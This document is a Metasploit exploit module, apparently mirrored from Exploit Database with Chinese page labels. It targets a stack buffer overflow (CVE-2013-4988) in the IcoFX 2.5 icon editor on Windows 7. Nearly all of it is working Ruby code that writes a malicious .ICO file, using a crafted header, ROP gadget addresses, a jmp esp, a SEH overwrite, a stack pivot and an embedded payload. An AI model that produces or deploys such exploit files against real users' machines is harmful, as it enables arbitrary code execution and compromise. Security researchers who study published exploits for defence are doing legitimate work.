IcoFX – Local Stack Buffer Overflow (Metasploit)

• Exploit Database
• 10 阅读

• 作者： Metasploit
  日期： 2014-01-07
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/30788/

• ##
  # This module requires Metasploit: http//metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
  
  include Msf::Exploit::FILEFORMAT
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'IcoFX Stack Buffer Overflow',
  'Description'=> %q{
  This module exploits a stack-based buffer overflow vulnerability in version 2.1
  of IcoFX. The vulnerability exists while parsing .ICO files, where an specially
  crafted ICONDIR header, providing an arbitrary long number of images into the file,
  can be used to trigger the overflow when reading the ICONDIRENTRY structures.
  },
  'License'=> MSF_LICENSE,
  'Author' =>
  [
  'Marcos Accossatto', # Vulnerability discovery, poc
  'juan vazquez' # Metasploit
  ],
  'References' =>
  [
  [ 'CVE', '2013-4988' ],
  [ 'OSVDB', '100826' ],
  [ 'BID', '64221' ],
  [ 'EDB', '30208'],
  [ 'URL', 'http://www.coresecurity.com/advisories/icofx-buffer-overflow-vulnerability' ]
  ],
  'Platform'=> [ 'win' ],
  'Payload' =>
  {
  'DisableNops'=> true,
  'Space'=> 864,
  'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
  },
  'Targets'=>
  [
  [ 'IcoFX 2.5 / Windows 7 SP1',
  {
  :callback => :target_win7,
  }
  ],
  ],
  'DisclosureDate' => 'Dec 10 2013',
  'DefaultTarget'=> 0))
  
  register_options(
  [
  OptString.new('FILENAME', [ true, 'The output file name.', 'msf.ico'])
  ], self.class)
  
  end
  
  def target_win7
  # All the gadgets com from IcoFX2.exe 2.5.0.0
  
  # ICONDIR structure
  ico =[0].pack("v") # Reserved. Must always be 0
  ico << [1].pack("v") # Image type: 1 for icon (.ico) image
  # 0x66 is enough to overwrite the local variables and, finally
  # the seh handler. 0x7f00 is used to trigger an exception after
  # the overflow, while the overwritten SEH handler is in use.
  ico << [0x7f00].pack("v")
  # ICONDIRENTRY structures 102 structures are using to overwrite
  # every structure = 16 bytes
  # 100 structures are used to reach the local variables
  ico << rand_text(652)
  ico << [0x0044729d].pack("V") * 20 # ret # rop nops are used to allow code execution with the different opening methods
  ico << [0x0045cc21].pack("V")# jmp esp
  ico << payload.encoded
  ico << rand_text(
  1600 - # 1600 = 16 ICONDIRENTRY struct size * 100
  652 -# padding to align the stack pivot
  80 - # rop nops size
  4 -# jmp esp pointer size
  payload.encoded.length
  )
  # The next ICONDIRENTRY allows to overwrite the interesting local variables
  # on the stack
  ico << [2].pack("V")# Counter (remaining bytes) saved on the stack
  ico << rand_text(8) # Padding
  ico << [0xfffffffe].pack("V") # Index to the dst buffer saved on the stack, allows to point to the SEH handler
  # The next ICONDIRENTRY allows to overwrite the seh handler
  ico << [0x00447296].pack("V") # Stackpivot: add esp, 0x800 # pop ebx # ret
  ico << rand_text(0xc) # padding
  return ico
  end
  
  def exploit
  unless self.respond_to?(target[:callback])
  fail_with(Failure::BadConfig, "Invalid target specified: no callback function defined")
  end
  
  ico = self.send(target[:callback])
  
  print_status("Creating '#{datastore['FILENAME']}' file...")
  file_create(ico)
  end
  
  end